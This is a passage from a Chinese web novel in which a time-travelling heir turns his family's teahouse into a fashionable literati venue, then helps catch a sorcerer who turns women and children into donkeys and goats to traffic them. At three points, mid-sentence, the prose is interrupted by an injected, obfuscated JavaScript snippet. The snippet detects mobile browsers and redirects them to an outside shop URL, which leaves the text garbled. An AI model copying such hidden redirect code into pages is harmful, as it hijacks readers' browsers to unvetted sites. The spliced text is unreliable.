只是这计划中更赚钱的二楼,暂且还无人光顾。不是没有文人书生路过此处被叶先生题字的招牌吸引,可大都在看到一楼都是些粗人牛饮后,便转身走了。 李钰倒不急,这一点本就在他意料之中,他直接去了丁知县府上,拜访被他冷落多日的师弟。 丁再昌一见他就抱怨,“你最近也太忙了,咱俩都多久没见了。” “还不是我爹让我监工那两家店,忙得我脚打后脑勺,现在总算是弄好啦。”李钰拿出糕点盒,“你看,刚刚开业我就带了我们家师傅新做的糕点来见你了,师弟就不要怪我了。” 丁再昌不好意思地接过糕点,说:“我能不知道你在忙什么?不过是太久不见你了,你看你还带什么礼物来,显得我多小气似的。” 李钰腹诽:话虽这么说,但你接过去的手还挺快的。 “对了,你家茶楼和客栈现在如何了?我最近真是像你说的那样读书快读傻了,你就该派一个小厮来叫我一声,咱们直接去你家茶楼玩玩。” 李钰开心道:“要不说咱俩是朋友呢?我就是想邀你去呢,为表诚意才亲自上门来请你的。不过,不止想请你,我还想再请些别的人。” 丁再昌知道他没几个朋友,奇道:“什么人?” “你在私塾应该认识不少人吧,我想让你请你的同窗们去我那儿玩玩。只是怕你和商人之子交好的消息传出去,影响你的声誉。” “啪”的一声,丁再昌将糕点盒重重往桌上一放。 “你居然这么看我!还算什么朋友?”丁再昌居然生气了。 李钰一愣,这小书呆子年纪虽小,平日里却十足的少年老成,规行矩步,和李钰相交后,才偶尔流露出一些少年人的顽皮,脾气是向来很好的,少见他红脸。 “你虽是商人之子,但李宅也是举县闻名的仁善之家,前些年旱灾李老爷捐款捐粮的善事至今为人称道,这儿的城隍庙也是李老爷主动出了大头修缮的,城里谁人不知?人人都尊称李老爷一声李大善人。而你又并非那唯利是图之辈,与你交好怎么了?更不用说你家还担着农籍身份,我看谁敢嚼舌根?”丁再昌一番慷慨陈词,激动得小脸通红。 李钰欲哭无泪,你说这些我还真不知道啊!但不得不说,这一番话听得李钰还颇有些感动。他连忙赔笑道:“是愚兄说错话,师弟不要生气啦。你知道的,我脑子才好多久啊?不会说好听的话,你就原谅我吧。” 丁再昌是个好脾气的,轻易就哄好了,但仍语带责备道:“你不可妄自菲薄,要知道你可是叶先生的弟子,其他人羡慕你还来不及呢?” 不是我妄自菲薄,是我小看了古人,总归是自己不对。李钰深刻反省,也不再客气,“那就劳烦师弟,请童生郎们赏脸来参加我的茶会。” 丁再昌想了想道:“这事本来不难,可就一点,你们家茶楼在闹市之中,可你知道文人雅士办茶会,往往都讲究风雅清静,都是选安静远人的地方。还有人就爱在郊外山林间找一片空地,邀三两好友,将茶具带过去,以山石为桌,席地而坐,对着山水品茶清谈,就算是一桌茶席。像市井茶楼里办茶会……我确实也不曾参加过。” “那不如现在你就随师兄去茶楼,看看这茶会能不能办?”李钰却是兴致更起,邀请道。 丁再昌狐疑地看他,“看来李兄胸有成竹,我倒要看看你将那茶楼改成如何模样了?” 说走就走,两人这就出门。等站在茶楼前,飘扬的锦幡上大大的“茶”字,让丁再昌确信自己没有走错,可这茶楼和自己印象之中的样子实在相去甚远! 白墙黑瓦,青砖勒脚,梁柱上的朱漆被原木色泽取代。门口竹帘半遮,茶客进出掀开竹帘,显露出其间热闹的烟火气息。还有那金漆招牌换成了木匾,上书“结庐茶楼”四个大字,颜筋柳骨潇洒挥就。 丁再昌一看便知是出自谁手,“这是叶先生的字!‘结庐茶楼’,妙哉!‘结庐在人境,而无车马喧’,师兄真是好巧思!” 李钰故意笑得云淡风轻,只是折扇摇得更欢了,很是满意丁再昌的反应。 “进去看看吧。” 两人掀帘而入,大堂已坐着不少客人。布衣短打的茶客们三三两两地围桌坐着,就着粗瓷茶碗装的散茶茶水,有吃馒头包子的,有点糖糕蚕豆的;有人边吃边聊,有人匆匆喝完茶就结账离开,这是市井茶肆中最为常见的景象。 丁再昌鼻子微皱了一下,空气中飘着淡淡的药草香,他低声问:“这是熏的艾香?” 李钰点头道:“除味又驱虫。” “师兄做事真是细致入微。” 丁再昌又悄悄打量四周,那些精致的螺钿茶柜、瓷瓶摆件都撤下了,换成了最简单的杉木茶柜、陶瓶插花,别有一番简约古朴之意。 “走,带你去二楼看看。”李钰道。 丁再昌没意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101334|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见,虽说这茶楼外观看起来倒是素雅了不少,可这一进来看到这么多人,就又不像个清雅之所了。抱着疑惑,跟着李钰上了二楼,才走到一半,便闻到一股幽幽的檀香。 上了二楼,映入眼帘的景象着实让丁再昌惊艳。这层楼的空间用湘妃竹盆栽和纸绢屏风隔出了数个雅间,阳光透过半开的纸窗照进来,微风轻拂,竹叶簌簌,竹影倒映在纸绢屏风上,投下的阴影犹如宣纸上的水墨画作。隔而不断同时又打造出多个私密空间,又因屏风材质透光,较之前竟更加通透明亮。 李钰领他来到靠窗的老位置,桌椅都已撤走,留下的是竹榻藤墩和低矮的长方形茶桌。外侧放置陶泥风炉、白铜汤瓶,桌上摆放紫砂茶壶、白瓷茶盏等各类茶具,甚至已经备好一碟精致的糕点。 那碟糕点都是丁再昌喜欢吃的,他不禁笑道:“原来师兄早已备好一切等我。” “那是。”李钰邀他坐下,拍拍手,一名茶役便上前为二人烹茶。 丁再昌本就是很耐得住性子,静得下来的那一类人,等待茶役烹茶的过程中,眼前是投射在纸绢屏风上的竹影轻舞,鼻尖阵阵茶香浮动。此时此刻,街市上和一楼传来的人声似乎都渐渐飘远。 两人谁也没有说话,过了半晌丁再昌才感叹道:“师兄,我本以为这‘结庐茶楼’是外表做做样子,取此为招牌也只是图个噱头,可此刻坐在这里,对于何谓‘心远地自偏’,我竟领会了一二。” 明明往窗外看就是市井街巷的车水马龙,耳畔也还能听到楼下众生喧哗。可坐在这里,焚香煮茶、竹影筛金,这朦胧意境竟让人感觉在尘世之中,也有一方净土,可得一丝喘息。 李钰听丁再昌这么说,心中总算一块石头落地,看来打造反差感的操作在这古代也是适用的。 不过,他还是确认道:“你觉得像你的那些同窗或是其他文人士绅,他们会满意这里吗?” 丁再昌直言:“本就是心静之人在此,只会觉得更能锻炼自己的心性,而如果本身就是性情躁动之人来此,就算是觉得吵闹,李兄认为他们会说出来吗?毕竟你取‘结庐’之名不就是这个目的吗?” “知我者师弟也。”聪明人说话就是直接又好听,李钰乐了,“不过这茶会以什么名目为好呢?” 李钰自然也提前做了些功课,这时候的人们,尤其是文人雅士喝茶可不是单纯的品茗闲谈,而是以茶为媒,以雅集为形的思想交流。这对于李钰来说就有一点难度了,还是得让县里有名的丁小才子出谋划策。 丁再昌不慌不忙地吃完了一块龙井茶酥,在好友面前摆足了架子才说:“这件事不必多想,就以‘结庐’为题。” 李钰眼前一亮,可不是嘛!现成的主题啊。 但丁再昌又话锋一转,有些不好意思地说:“不过我们这茶仪筹措是公摊制的……” 茶仪就是茶金,像丁再昌他们这样的年轻平辈大都是平摊茶金。李钰立刻打断他的话头:“即然以‘结庐’为名目,自然是由我全权承担,况且我这不是为了宣传吗?只要能把咱们茶楼的名声打出去,这点小钱不算什么。” 丁再昌也不客套答应下来,“那我明日去私塾的时候就跟同窗们说,定好时间我就遣人知会你。依我看,这一次你家茶楼恐怕真要名声大噪了。” “谦虚谦虚。”李钰心虚道,小丁说的肯定是真心话,可他不懂什么叫捧杀和毒奶,这种事最忌半场开香槟,一切等茶会办完便知。 11. 结庐茶会 丁再昌不愧是知县之子,又小有才名在外,由他出面邀请,此事很快敲定,两日后便呼朋引伴地来了。李钰则是早早在茶楼等着,见众人一到立刻迎了上去。 童生们一到地点也如丁再昌之前那般,差点认不出来这里是曾经那个大红大金的俗气茶楼,一行人对着木匾上的字品味一番,隔空吹捧了下叶先生才进门。 可竹帘一掀开,就见堂中客人一边吃着蚕豆一边闲聊吹牛,说到趣处还放声大笑,看起来既不静也不雅啊。众人不约而同地停下脚步,就算是借着“结庐”之名,也不免让人有些犯嘀咕。 “此地如何能清谈?”人群中发声的是一名官宦人家的子侄,名叫南三复,这位南公子此时正是面露嫌弃。 不等李钰开口,丁再昌就道:“南公子岂非不知今日主题?” 只一句话便将南三复堵了回去,其他人听了哪里还会多言? 李钰忙道:“诸位楼上请。” 众人拾级而上,走到二楼皆是眼前一亮,茗烟细袅,竹影摇风,真真别有洞天。 有人欣赏着墙上李化高价买来的字画,有人观赏湘妃竹盆景,还有人沉浸在这上下截然不同的反差中,品味其间妙处,总算是懂了这“结庐”之意。 李钰请众人落座,因为此次丁再昌请来的人比较多,李钰提前让伙计在两扇窗户旁用折叠屏风合围出一个宽阔的雅座。 只见茶桌上有序放置着紫砂茶壶和甜白釉茶盏,又见茶役取出的是文人中盛赞的罗岕茶,就连糕点都是精致的花型,栩栩如生。茶役一套行云流水的泡茶流程下来,哪还有人敢说不精不雅? 这场茶会虽是李钰主办,可他毕竟也是第一次参加茶会,便交由丁再昌代为主持。丁再昌从善如流地将本次主题娓娓道来,自己率先引经据典将陶渊明的大隐哲学拆解一番,引众人发挥。 因为主题与众人目前所处的环境完美契合,每个人发言都颇有感悟,从陶渊明的大隐于市到如今盛行的阳明心学相谈了个遍。听得李钰心下窃喜,没错没错,你们就这样说,然后帮我传出去。 轮到李钰,他也说出了一番心无外物的言论,早就定好的主题,他自然做好了功课,当然少不得叶先生的帮助。待他说完,看着丁再昌松了一口气的样子,李钰冲他挤挤眼,那表情就像在说,没给你丢脸吧? 可这时偏有人煞风景,“没想到李公子如今才开蒙吧,居然也有一番见地,可见这叶先生确实会教学生,如今也能高谈阔论了。” 李钰向出声的位置看过去,果然又是那南三复。其言下之意,不就是说你一个人傻子,脑子灵光了几个月就能说出这些话,还不是靠着叶先生提前指点,言语之间轻视讽刺之意溢于言表。 在座众人都是聪明人,哪会不懂其意?虽说大家对于李家傻儿子突然正常了一事颇为好奇,可既然已经受邀前来参加别人的茶会,怎能说出这等砸场子的话?席间众人交换眼色,不知李钰要如何应对? 李钰面上不见一丝窘迫,坦荡地说:“确实如此,能得恩师教导实属我之幸事。而我自从历经生死重获新生后,也才知道过往昏昧无知,如今拨云见雾,能够在良师益友的帮助下知是知非、明辨笃行,这是多么珍贵的一件事。” 众人见其不仅不避讳过往痴傻,又知感恩,甚至发言还合上了众人先前畅聊的阳明心学,不禁刮目相看。 坐在丁再昌身旁的席方平赞道:“李公子的经历,在座之人皆不能相比,心境之豁达果然亦不同于常人,是我等需向你学习的。” 其他人也纷纷附和。 只有南三复面色难看,李钰这番话和众人的反应,倒显得他成了被世俗成见绑住的俗人了。 李钰拱手谦虚道:“哪里哪里。”好歹把这一关过了。 众人中话不算多的鄂生听到这里,忍不住发问道:“不知李兄当日究竟经历了何事,又如何……死而复生呢?” 这话一问出来就有点“不雅”了,正经茶会是不会聊人家家里事的,那不就跟楼下的闲汉唠家长里短差不多了。可此等世所罕见之事,哪会有人不好奇的?这群童生们年龄也都不大,并非迂腐老儒,于是鄂生发问后也无人出言制止,一个二个却是期待地看着李钰。 李钰将目光抛向丁再昌,显然是想起了他俩刚相识的时候,丁再昌缠着他一遍又一遍讲当初的神奇遭遇。丁再昌一脸无辜地回望,无奈之下,李钰便将这个自己已经讲烂了的故事,从头到尾叙述了一遍。 于此事的讲述上,李钰可谓经验丰富,从妖和尚进城后如何骗取百姓钱财,到妖和尚拦路李老爷进行敲诈,再到自己被妖法所害一夕毙命,又如有神助般地死而复生!最终天网恢恢疏而不漏,在丁知县的秉公执法之下,妖和尚对过往所做坏事供认不讳,恶事做尽谋财害命的妖僧就此收监,只待问斩。 一个跌宕起伏、情节紧凑的故事,被李钰绘声绘色道来,听得在场众人糕点也不吃了,茶也不喝了,那叫一个津津有味。听完之后,又是对妖僧进行一番批判,又是对李钰劫后余生的感慨,还有人吹捧了一番丁知县断案果决,妖僧伏法大快人心云云。 虽然这场茶会到此时,主题已经完全跑偏,但众人相谈尽欢。而且一番谈天说地下来,居然真的无人被闹市中的喧闹声影响。丁再昌有意提了一下,众人皆对自己心境有了一番新认知,内心颇为得意。更对结庐茶楼和这茶楼的少东家李钰有了个深刻的好印象。 只除了南三复,走的时候还甩脸色,丁再昌让李钰不用挂心,只是碍于人情叫的他,并不是多好的关系。 于是,在后续的长尾效应中,便是结庐茶楼的名声彻底在年轻文人中传开了。 此法见效明显,李钰如法炮制请叶先生也办了次茶会,不过这一次他就没有参与进去了。以叶先生在当地的名望和他本人的文采,在茶会之上口若悬河、舌辩群雄,自然也取得了可观的效果,当地文人士绅都对结庐茶楼另眼相看。 以前人们追求清雅,往往选择或湖边茶舍或郊外山斋,都有一个问题那就是——远。可结庐茶楼反其道而行之,讲究闹中取静,锻炼心性,却没有丢弃掉品茶雅谈的精致风雅。更何况就在城里走路都能到,着实方便啊。 是以此,结庐茶楼一跃成为成为当地众名士的热门打卡地。 李老爷子天天笑得嘴都合不拢,“心肝、宝贝、神童珠儿”各种溢美之词都往李钰身上砸。木大娘子听得此事,天天送汤送补药,定要好好犒劳李钰连日来的辛苦经营。李钰喝得苦不堪言,正好叶先生要备考了,最近也没有时间管他,他就拉着白行野出门躲到自家客栈玩几天。 现如今,他们家客栈和茶楼可不比以往那般冷清了,他和白行夜相邻住的两间上房可都是他提前留的。 客栈的董掌柜见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101335|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少东家,跟见到亲爹一样,这一段时间赚的银子顶他们之前两个月了,少东家真是财神爷转世!都不需李钰交代,董掌柜特意嘱咐伙计们好吃好喝地招待,少东家和他的朋友有什么需要,都要尽力满足。他还想着若是少东家喜欢就多在这里住住,仿佛将李钰当成什么招财的吉祥物了。 不过,李钰也蛮享受这般待遇的,他白日里便和白行野一道,或走街串巷吃吃喝喝,或郊外观景游山玩水。晚上就回到客栈,还要拉着白行野吃饭喝酒,常常对谈到深夜。 虽然都是玩,但李钰却是前所未有的轻松惬意。作为穿越过来的现代人,只觉得这里的一砖一瓦、一草一木都充满了新鲜趣味。更何况身边还有友人时刻相伴,只可惜李钰不会写诗,只能摇着折扇冒出一句,“快哉快哉!” 这期间李钰意外地发现,白行野特别喜欢观察路人,总是在回来以后跟他说今日见闻。 白行野:“今天城郊遇到新媳妇回门,有个男人老盯着别人家女眷看,令人生厌!我卷起风沙迷了他的眼,保管让他痛一个月。” 李钰:“原来那阵风是你起的!” 白行野:“在翠云楼外碰到的那个鼻孔朝天的公子哥,路过你身边的时候还哼了一声,不知在趾高气昂什么?我就让他摔了个狗吃屎,痛快!” 李钰:“那也是你干的啊?” 白行野又说:“在桥边凉亭遇到的钓鱼翁,上午路过鱼篼里就没鱼,我们回来的时候太阳都快落山了,还是一条鱼没有。” 李钰:“你不会……” 白行野:“我可没给他送鱼,只是不知这到底有何乐趣?” …… 诸如此类,每次出门回来白行野都有一番点评,李钰总被这种话逗得啼笑皆非。白行野不懂他笑点在哪,只觉得李钰笑起来还蛮好看的,其实不笑也好看,只是笑起来更好看。 两人边说笑着边饮酒,或许是白行野锐评路人这件事虽没素质,但又挺有意思,完全颠覆了李钰一开始对行侠仗义白道长的印象,一时兴起今日便多喝了几杯,直到李钰眼前出现重影了。 白行野按住他还待举杯的手,“今天太晚了,你该睡觉了。” 李钰迷糊地点头,“嗯嗯啊啊”地答应着。 白行野将他扶到床上,转身要走,又觉得这样睡太不干净,压着耐心给李钰脱掉鞋袜和外衣,又打来水帮他擦手擦脚,脸也给擦了一通,再用被子将人盖好。 他不由轻哼一声,低声道:“真麻烦。” 看着李钰睡得香甜的面庞,白行野看了他一会儿,幽幽道:“虽然不知你到底是从哪里来的?不过现在看来应当不是个坏东西,我便暂且放过你吧。” 等到第二天日上三竿,李钰才悠悠转醒,宿醉的滋味不好受啊。 洗漱好后,他便拖着沉重的身子来敲白行野的门。 白行野开了门,李钰见他神清气爽的样子,不满地说:“你怎么都没醉过?也太能喝了。” 白行野却说:“还是少喝点吧,你看看王六郎?” 李钰就像进自己的房间,走到桌旁一屁股坐在凳子上,用手杵着还在发昏的头,点头道:“你说得对,最近是有点太放纵了。” 于是叫来小二,上一些清淡的饮食,就当吃个早午餐了。李钰喝了口瘦肉粥,胃里暖乎乎,感觉整个人好受多了,就又开始盘算着今日去哪玩。 12. 造畜 “行野。” 听他如此称呼,白行野也自然而然地接受了,毕竟经过这些日子两人也算熟悉了。 “你下山后有没有去过什么好玩的地方?反正最近没事,我们不如去其他地方看看,游览各地山川名胜。” 白行野摇头道:“我当初下山后就直接来常州府了。” “啊?”这还是李钰第一次听他提起,“为何?要说这附近苏杭或金陵更有名吧。” 白行野沉默了一瞬,道:“我是来找人的。” “谁呀?找到了吗?” “……很早以前认识的一个朋友,但他已经死了。”白行野缓缓道。 “啊……这个,节哀。”李钰一时语塞。 “没事,他已转世投胎去了。我本来也只是想来看一眼就走,没成想却遇到了你。” 说到最后白行野冲李钰笑了笑,带着一丝不易察觉的玩味。 李钰见他并无伤心之色才放松下来,也回以一个笑容,又问道:“那你现在天天和我呆一起,不会影响你修行吗?” “行走坐卧皆可以是修行。”白行野淡然道,“暂时留在此处也见识了形形色色的人和事,这对我来说本身就是一种历练。若是在这里看到的、经历的足够了,我自然会走的。” 这回轮到李钰意外了,以白行野的性子说走就走,他还真拦不住,这可是很难得的一根“大腿”啊!而且他以为这些天相处下来两人好歹也是朋友了,观其态度却似乎不甚在意。 李钰撇了撇嘴,“行吧,可你要走的话一定要提前跟我说,可别搞什么江湖中人不告而别那套。” 白行野见他面色不虞,收起笑意郑重地点点头道:“我知道了。” “少东家,少东家你在吗?”董掌柜的喊声伴随着一阵急促的敲门声传来。 李钰叫人进来,只见董掌柜脸色煞白,神色惊慌。 “出什么事了?”李钰忙问。 董掌柜好像受了极大的惊吓,半天说不清楚。 跟在身旁的小二虎子急了,抢白说:“刚来了个奇怪的人住店,他牵了五头驴来,叫我把驴安置好,可是我把驴牵到马棚后,那些驴就变变……” “变什么啊?!” 董掌柜像这才缓过劲来,接过话道:“那驴都变成人了!变成了五个女人!” “什么?!“李钰惊得站了起来,一下打翻了桌上的粥,米粒溅到衣服下摆上。 虎子有眼色极了,立刻就要上前给他擦拭。 李钰随手掸了掸,“先别管这些了,快带我去看看。” 正要出门,李钰又将门一关问董掌柜,“有没有其他人看到?” “没有,就虎子和刘槽头知道,虎子先来给我说,我去看了那五个人,虽然活着但僵直着不能动,也不能说话,还在马棚里呢。”董掌柜面露惧意,“也不知是不是妖精……” “什么妖不妖精的,传出去还做什么生意?董掌柜你去叫人把后院进出两个门守着,不要让人进去,虎子你带我去。” 几人匆匆下楼,李钰心神不宁差点摔着,白行野一把拽住他,道:“留神,一切有我。” 李钰看了他一眼,这才定了定神。 三人到了后院,马棚前一个老头正焦急地来回踱步,见到李钰就跟见到救世主一样,“少东家你可来了,快来看看这是怎么回事吧?我做槽头这么多年从未遇见过驴变人的事啊!” 李钰走进马棚一看,草堆上果然躺着五个年轻女人。她们动弹不得,却眨动着溢满泪水的眼睛,似乎有无尽的害怕和委屈。 这时,董掌柜也安排好事宜后赶来了。 但既然五名女子还不能说话,李钰就只能问虎子和刘槽头具体的情况。 虎子先说道:“那个男人就是最普通的行商打扮,我见他牵了五头驴本以为他是卖驴的。他说要在我们这儿落脚,订下了房间后就吩咐我先把驴都牵到到马棚去,他还有点事要办一会儿再回来。可奇怪的是,他走之前千叮万嘱绝对不许让我给驴喂水,我也不知道缘由,但客人让怎么做就怎么做呗,就只将驴牵到马棚拴着。” 虎子瞅了眼刘槽头,又说:“我还特意交代了不能给水的。” 刘槽头赶紧接过话,“小老儿我就是见那几头驴个个丧头搭脑的没精神,熟悉我的人都知道,我这人跟牲畜打一辈子交道,就心疼这些小东西。虎子虽不让我给水,但我这不是想着,就是喂了水客人也不知道嘛,就还是倒了桶水给它们喝。结果喝了水,这本来还是驴的,就地打起滚来,滚了几圈转眼就都变成人了!” 刘槽头满脸的惶急,“这这这……我也不知道是怎么回事啊!” “这种术法是……”白行野边听边自言自语道,“造畜。” “造畜?那是什么东西?”李钰不安地问,听起来就很邪门的样子。 “一种邪术,用此术可以将人在短时间内变成动物,我也只是听过这种术法,没想到真的存在。将人变成动物,那人和这五名女子有仇?” 白行野并不常在尘世间行走,自然不知人心可以险恶到何种地步,只能往仇怨纠葛上猜测。 “不是有仇。”李钰沉声道,“这是——拐卖!” 这邪术的使用者是人贩子! 拐卖人口在哪个时代都是人人喊打的事,董掌柜脸色一变就说:“那咱们报官吧!” “自然要报官。”李钰将自己的折扇交给虎子,对他说:“虎子你跑一趟,此时马上下课,你先去衙门找丁再昌丁公子,把事情告诉他让他去跟丁知县说。那人贩子不知什么时候回来,我们切不可轻举妄动,万一还有别的人在他手上,不能让官府打草惊蛇。而且此事太过惊世骇俗,一定让丁公子去跟他爹讲才好。此事办好了,回来领赏。” 虎子接过折扇拍拍胸脯道:“少东家放心,我一定照你的话办。”说完便匆匆离去。 董掌柜看着虎子离开,又问:“那我们接下来怎么办?” “董掌柜,你记得那人的长相吗?” “记得,他登记的时候,我就在一旁呢。那人左额有一块青痣,好认!”董掌柜笃定地说。 李钰吩咐道:“那你去大堂守着,他如果在衙役们来之前回来了,你一定想办法将他拖住。” “我……”董掌柜抹了抹汗,说:“我这就去。” 至于这五名女子…… 李钰冲白行野问道:“她们怎么办?为什么不能动?” 白行野思索片刻:“应当是术法破了以后还未完全恢复。刚刚掌柜他们说这些人变回来后僵直不动,但现在她们已经可以眨眼张口了,等等就好了。”他话锋一转,“不过我可以输入灵力,她们或许能提前恢复。” 李钰面露喜色,又顿了一下,没有立即让白行野施法,他蹲在其中一名女子面前说:“我让白道长先将你恢复自如,你尽量不要哭叫,我们不会伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101336|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害你,只想知道是什么人,又是怎么害你们的可以吗?” 女子听了眨眨眼,似乎在表示同意。 李钰便向白行野点点头,白行野伸手触上那名女子的额头,不过转瞬之间女子便能动弹了。 女子坐了起来,身体还有一些抑制不住的颤抖,但是强忍着没有哭。 “别怕别怕,我们已经报官了,而且有白道长在,一定能捉住那个坏人!你跟我们说说到底是怎么回事?” 女子先是感激地道谢,“多谢道长和公子的救命之恩,我和其他几人都是附近青山村的农家女,昨日父兄在田里劳作,母亲去了市集,只我一人在家。那个人登门自称是过路的行商,水袋中的水喝完了才上门想讨点水喝。我转身给他倒了一碗水,可一回头他竟已经走到我身后,我正要叫人,却被他快速往嘴里塞进一个黄符!” 女子说到这还有些心有余悸般地拍了拍心口,继续道:“就在那一刻,我就不受控地趴了下去,嘴里竟然发出驴一样的叫声,那人从腰间抽出一根鞭子就往我身上一抽,我就无法自控地跟着他走了,竟把人当畜牲一样赶……” “后来他故技重施,用同样的方法将我们村里当时独自在家的女子都这样带走了,我想跑,可我根本没办法跑,就这样被他带到了城里。”女孩边说边压抑着流下泪来。 “竟是利用他人的善心做出这种丧尽天良的事!”白行野很是气愤地说,“被我抓住一定将他撕个粉碎。” 李钰一听这话都来不及安慰女孩,先安抚白行野道:“已经报官了,我们这里有官府处置,你可不要为了这种人脏了自己的手。” 白行野看了眼李钰,冷静下来不再说话。 那女子忽然跪下,抓住白行野的衣角求道:“求求你们救救张姐姐吧,那人进城后将她卖给了一个农户,他当时说身上钱太少了,先卖一头‘驴’好吃点好的。就把张姐姐当牲口一样卖出去了!买她的农户若是让张姐姐扛重物或拉磨,她身体弱受不了的。” “居然还有一个人被卖掉了?”李钰大惊。 白行野将那女子扶起来,说道:“别担心,只要抓到那个人,我定能找到那农户。” 李钰放下心来,竟然白行野都这么说了,那他一定有办法的。 事情现在全了解清楚了,白行野将其他四人也恢复了过来,几位女子大难不死,顿时哭作一团,互相安慰起来。 李钰将她们安置在后院的一间房内,给她们叫来一些吃食,让她们暂且就呆在房间里面。为了让她们安心,门口也找人守着。 安顿好五名女子,李钰和白行野也到大堂一起等待,刚好撞上丁再昌进门了。 李钰忙迎了上去,丁再昌压低声音对他说:“事情已经告知父亲了,现在客栈四周都有衙役,我让他们全部都穿的常服出来,不会被看出来,只等那人出现就能一举拿下。” 不愧是我李钰的好师弟,办事就是靠谱,“便衣”都安排上了。 丁再昌也从未听过如此匪夷所思的事,驴还能变人的?但因是李钰交代的,他便没有丝毫怀疑,努力说服父亲安排了这些人手。少年的脸上紧绷着,似乎从未如此严肃过。 李钰拍拍他的手让他宽心,又冲白行野的方向努了努嘴,“别担心,白道长也在呢。” 丁再昌这才一笑,又向白行野拱手示意。 三人挑了张面对门口的桌子坐下,现在就等那可恶的人贩子上门! 13. 白莲教 等了一个多时辰,董掌柜从门外进来,一个劲儿地冲少东家挤眉弄眼,看来是那狗贼回来了! 可不知是他们高看了那人贩子,还是那人根本不觉得所做恶行会被发现,居然在门口高声招呼道,“掌柜的呢?叫人把我这羊也牵到马棚去……” 话音未落,白行野已经动了,瞬息间闪身至门外,只听得门口之人发出“嗷”的一声惨叫。 李钰和丁再昌忙追了出去,只见街边一个额头上有青痣男人被白行野踩在脚下,挣扎不停,发出声声哀嚎。 如此迅速地就抓住了人,李钰还以为这会造畜邪术的男子有多大本事呢?做足了准备居然只是眨眼的功夫就被白行野解决了,到底还是他小看白道长了。 此时身着常服的衙役们也围了过来,为首的一名官差看着地上龇牙咧嘴的男人问丁再昌,“就是他?” 董掌柜最急,忙指着地上的人说:“没错,就是他!他额角有一颗大青痣,我记得清清楚楚!” 周围的人见此情形也都围了过来,将广源客栈门口堵了个水泄不通,衙役们将那人贩子提了起来,就要将他押解回衙门。 “那这五只羊怎么办?”董掌柜握着牵山羊的绳子问,小羊们正“咩咩”的叫个不停。 “一并带回衙门。”一名衙役接过了绳子。 丁再昌又跟领头官差说了几句话,那官差便安排几人跟随董掌柜进了客栈将那五名女子也带走。 李钰问白行野:“那位张姑娘怎么办?” 白行野随意抛了抛手中一个灰扑扑的钱袋,道:“这里面有那贼人卖人得来的钱财,我已感知到张姑娘在哪了,这就去将她带回来。”说着转身就要走,被李钰拉住了。 “你好好跟那农户说,他应当也不知真相,把张姑娘好好赎回来就行,你这一去要多久?” 白行野凑近李钰耳旁,低声道:“一会儿我找人少的地方飞过去,不到半个时辰就能回来。” 李钰双目圆睁,“你还会飞呀?” “自然,我会的还多了去了。”白行野唇角微勾。 这时候也来不及讲这些,李钰只得嘱咐他,“一会儿你回来,直接到县衙来吧,她的同乡姐妹们都过去了。” “好,我走了。” 目送白行野没入人群中,丁再昌对李钰说:“你是证人,也去衙门一趟吧。” 李钰自然无有不应,叫上掌柜、虎子以及刘槽头一起往县衙去了。 第一次来到县衙公堂,李钰颇有些好奇地四下打量。 还真如电视剧里一样,左右竖有写着肃静、回避的木牌,各种刑具当堂成列在侧,衙役们手执水火棍,神情严肃分列两班。 大堂正中设有知县公案,上悬“明镜高悬”的匾额。随着一声锣响,丁知县身着青袍官服,头戴乌纱帽,高坐公堂之上。左右衙役随即高呼:“威武——” 堂下众人皆是身形一凛,跪在堂下的人贩子更是把头深深埋下,浑身抖如筛糠。 接下来就是严肃又冗长的案情陈述,受害女子轮番上陈受害经历,到了证据查验的阶段,李钰及客栈里一众人也都一一上前说明自己所见。 丁知县听了变人过程,叫人将那五只羊带上来,其中一位衙役提来一桶水放在堂上,五只小羊立即围了过来舔食着清水。正如刘槽头所说,小羊们喝了水便在地上滚了几圈,蓦地化作了人形,竟是五个小孩子!有男有女,年纪最大的不超过十岁!众人亲眼所见之下,人犯罪行还有何不明晰?小孩们变回人形立即哭闹起来要找父母,公堂上一时吵闹不堪,衙役便先将孩子们带了下去。 丁知县怒拍惊堂木,众人浑身一震。铁证在前,即便此事再匪夷所思,也容不得不信,犯人更是无从狡辩。 “居然连无知幼童也不放过!来人,给我搜他的身!” 众衙役也十分愤怒,粗手粗脚将犯人全身上下搜了一遍,果然从他怀中掏出一叠黄符和一袋糖丸。一名衙役用手将糖丸碾开,里面也露出了揉捏成团的黄符。 丁知县道:“你就是凭着这些旁门左道祸害百姓,拐卖人口的?” 人证物证俱全,犯人哪敢抵赖,只低着头讷讷不敢言。 丁知县怒道:“是与不是?!” 